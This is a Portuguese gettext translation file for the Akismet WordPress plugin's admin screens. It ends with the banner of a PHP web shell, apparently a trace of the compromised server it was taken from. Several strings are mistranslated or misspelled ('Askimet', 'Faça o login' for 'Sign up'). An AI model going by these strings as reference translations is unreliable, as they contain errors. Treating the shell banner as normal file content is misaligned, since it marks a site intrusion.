msgid "Account"
msgstr "Conta"

#: class.akismet-admin.php:248
msgid "Choose to either discard the worst spam automatically or to always put all spam in spam folder."
msgstr "Escolha entre deletar o spam automaticamente ou enviá-los para a lixeira."

#: class.akismet-admin.php:248 views/config.php:145
msgid "Strictness"
msgstr "Rigor"

#: class.akismet-admin.php:247
msgid "Show the number of approved comments beside each comment author in the comments list page."
msgstr "Exibir o número de comentários aprovados ao lado do autor na página com lista de comentários."

#: class.akismet-admin.php:247 views/config.php:122
msgid "Comments"
msgstr "Comentários"

#: class.akismet-admin.php:246
msgid "Enter/remove an API key."
msgstr "Digite/remova uma chave API."

#: class.akismet-admin.php:246 views/config.php:86
msgid "API Key"
msgstr "Chave API"

#: class.akismet-admin.php:234 class.akismet-admin.php:245
#: class.akismet-admin.php:258
msgid "Akismet Configuration"
msgstr "Configuração do Akismet"

#: class.akismet-admin.php:223
msgid "On this page, you are able to view stats on spam filtered on your site."
msgstr "Nesta página você pode ver o status dos spams filtrados no site."

#: class.akismet-admin.php:221
msgid "Akismet Stats"
msgstr "Estatísticas do Akismet"

#: class.akismet-admin.php:209
msgid "Click the Use this Key button."
msgstr "Clique no botão Usar esta chave."

#: class.akismet-admin.php:208
msgid "Copy and paste the API key into the text field."
msgstr "Copie e cole sua Chave API no campo texto."

#: class.akismet-admin.php:206
msgid "If you already have an API key"
msgstr "Se você já possui uma Chave API."

#: class.akismet-admin.php:203
msgid "Enter an API Key"
msgstr "Digite uma chave API"

#: class.akismet-admin.php:196
msgid "Sign up for an account on %s to get an API Key."
msgstr "Faça o login em uma conta do %s para obter uma Chave API."

#: class.akismet-admin.php:195
msgid "You need to enter an API key to activate the Akismet service on your site."
msgstr "Você precisa inserir uma Chave de API para ativar o Askimet em seu site."

#: class.akismet-admin.php:192
msgid "New to Akismet"
msgstr "Novo no Akismet"

#: class.akismet-admin.php:185
msgid "On this page, you are able to set up the Akismet plugin."
msgstr "Nesta página você poderá configurar o plugin do Askimet"

#: class.akismet-admin.php:183 class.akismet-admin.php:194
#: class.akismet-admin.php:205
msgid "Akismet Setup"
msgstr "Configuração do Akismet"

#: class.akismet-admin.php:181 class.akismet-admin.php:219
#: class.akismet-admin.php:232
msgid "Overview"
msgstr "Visão geral"

#: class.akismet-admin.php:150
msgid "Re-adding..."
msgstr "Readicionando..."

#: class.akismet-admin.php:149
msgid "(undo)"
msgstr "(desfazer)"

#: class.akismet-admin.php:148
msgid "URL removed"
msgstr "URL removida"

#: class.akismet-admin.php:147
msgid "Removing..."
msgstr "Removendo..."

#: class.akismet-admin.php:146
msgid "Remove this URL"
msgstr "Remover esta URL"

#: class.akismet-admin.php:87 class.akismet-admin.php:1259
msgid "Akismet"
msgstr "Akismet"

#: class.akismet-admin.php:107 class.akismet-admin.php:243
#: class.akismet-admin.php:712 views/config.php:75
msgid "Settings"
msgstr "Configurações"

#: class.akismet-admin.php:83
msgid "Comment History"
msgstr "Histórico de Comentário"

Zerion Mini Shell 1.0